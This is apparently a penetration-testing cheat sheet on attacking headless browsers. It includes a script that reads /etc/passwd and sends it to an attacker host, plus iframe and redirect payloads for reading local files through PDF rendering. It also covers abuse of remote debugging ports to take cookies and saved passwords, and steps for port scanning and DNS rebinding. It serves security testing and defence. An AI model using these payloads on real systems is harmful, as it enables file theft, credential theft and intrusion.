Headless Browser

A headless browser is a web browser without a graphical user interface. It works just like a regular browser, such as Chrome or Firefox, by interpreting HTML, CSS, and JavaScript, but it does so in the background, without displaying any visuals. Headless browsers are primarily used for automated tasks, such as web scraping, testing, and running scripts. They are particularly useful in situations where a full-fledged browser is not needed, or where resources (like memory or CPU) are limited.

Summary

Headless Commands

Example of headless browsers commands:

Google Chrome

google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com

Mozilla Firefox

firefox --screenshot https://www.google.com

Microsoft Edge

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com"

Local File Read

Insecure Flags

If the target is launched with the --allow-file-access option

google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run --disable-web-security -–allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir

Since the file access is allowed, an atacker can create and expose an HTML file which captures the content of the /etc/passwd file.

<script>
  async function getFlag(){
    response = await fetch("file:///etc/passwd");
    flag = await response.text();
    fetch("https://attacker.com/", { method: "POST", body: flag})
  };
  getFlag();
</script>

PDF Rendering

Consider a scenario where a headless browser captures a copy of a webpage and exports it to PDF, while the attacker has control over the URL being processed.

Target: google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html

Javascript Redirect

<html>
    <body>
        <script>
            window.location="/etc/passwd"
        </script>
    </body>
</html>

Iframe

<html>
    <body>
        <iframe src="/etc/passwd" height="640" width="640"></iframe>
    </body>
</html>

Remote Debugging Port

The Remote Debugging Port in a headless browser (like Headless Chrome or Chromium) is a TCP port that exposes the browser’s DevTools Protocol so external tools (or scripts) can connect and control the browser remotely. It usually listen on port 9222 but it can be changed with --remote-debugging-port=.

Target: google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html

Tools:

slyd0g/WhiteChocolateMacademiaNut - Interact with Chromium-based browsers' debug port to view open tabs, installed extensions, and cookies
slyd0g/ripWCMN.py - WCMN alternative using Python to fix the websocket connection with an empty origin Header.

[!NOTE] Since Chrome update from December 20, 2022, you must start the browser with the argument --remote-allow-origins="*" to connect to the websocket with WhiteChocolateMacademiaNut.

Exploits:

Connect and interact with the browser: chrome://inspect/#devices, opera://inspect/#devices
Kill the currently running browser and use the --restore-last-session to get access to the user's tabs
Data stored in the settings (username, passwords, token): chrome://settings
Port Scan: In a loop open http://localhost:<port>/json/new?http://callback.example.com?port=<port>

Leak UUID: Iframe: http://127.0.0.1:<port>/json/version

{
    "Browser": "Chrome/136.0.7103.113",
    "Protocol-Version": "1.3",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36",
    "V8-Version": "13.6.233.10",
    "WebKit-Version": "537.36 (@76fa3c1782406c63308c70b54f228fd39c7aaa71)",
    "webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/browser/d815e18d-57e6-4274-a307-98649a9e6b87"
}

Local File Read: pich4ya/chrome_remote_debug_lfi.py

Node inspector --inspect works like a --remote-debugging-port

node --inspect app.js # default port 9229
node --inspect=4444 app.js # custom port 4444
node --inspect=0.0.0.0:4444 app.js

Starting from Chrome 136, the switches --remote-debugging-port and --remote-debugging-pipe won't be respected if attempting to debug the default Chrome data directory. These switches must now be accompanied by the --user-data-dir switch to point to a non-standard directory.

The flag --user-data-dir=/path/to/data_dir is used to specify the user's data directory, where Chromium stores all of its application data such as cookies and history. If you start Chromium without specifying this flag, you’ll notice that none of your bookmarks, favorites, or history will be loaded into the browser.

Network

Port Scanning

Port Scanning: Timing attack

Dynamically insert an <img> tag pointing to a hypothetical closed port. Measure time to onerror.
Repeat at least 10 times → average time to get an error for a closed port
Test random port 10 times and measure time to error
If time_to_error(random_port) > time_to_error(closed_port)*1.3 → port is opened

Consideration:

Chrome blocks by default a list of "known ports"
Chrome blocks access to local network addresses except localhost through 0.0.0.0

DNS Rebinding

nccgroup/singularity - A DNS rebinding attack framework.

Chrome will make 2 DNS requests: A and AAAA records
- AAAA response with valid Internet IP
- A response with internal IP
Chrome will connect in priority to the IPv6 (evil.net)
Close IPv6 listener just after first response
Open Iframe to evil.net
Chrome will attempt to connect to the IPv6 but as it will fail it will fallback to the IPv4
From top window, inject script into iframe to exfiltrate content

CVE

Exploiting a headless browser using a known vulnerability (CVE) involves several steps, from vulnerability research to payload execution. Below is a structured breakdown of the process:

Identify the headless browser with the User-Agent, then choose an exploit targeting the browser's component: V8 engine, Blink renderer, Webkit, etc.

The --no-sandbox option disables the sandbox feature of the renderer process.

const browser = await puppeteer.launch({
    args: ['--no-sandbox']
});

References

Last updated 5 months ago

hashtagSummary

hashtagHeadless Commands

hashtagLocal File Read

hashtagInsecure Flags

hashtagPDF Rendering

hashtagRemote Debugging Port

hashtagNetwork

hashtagPort Scanning

hashtagDNS Rebinding

hashtagCVE

hashtagReferences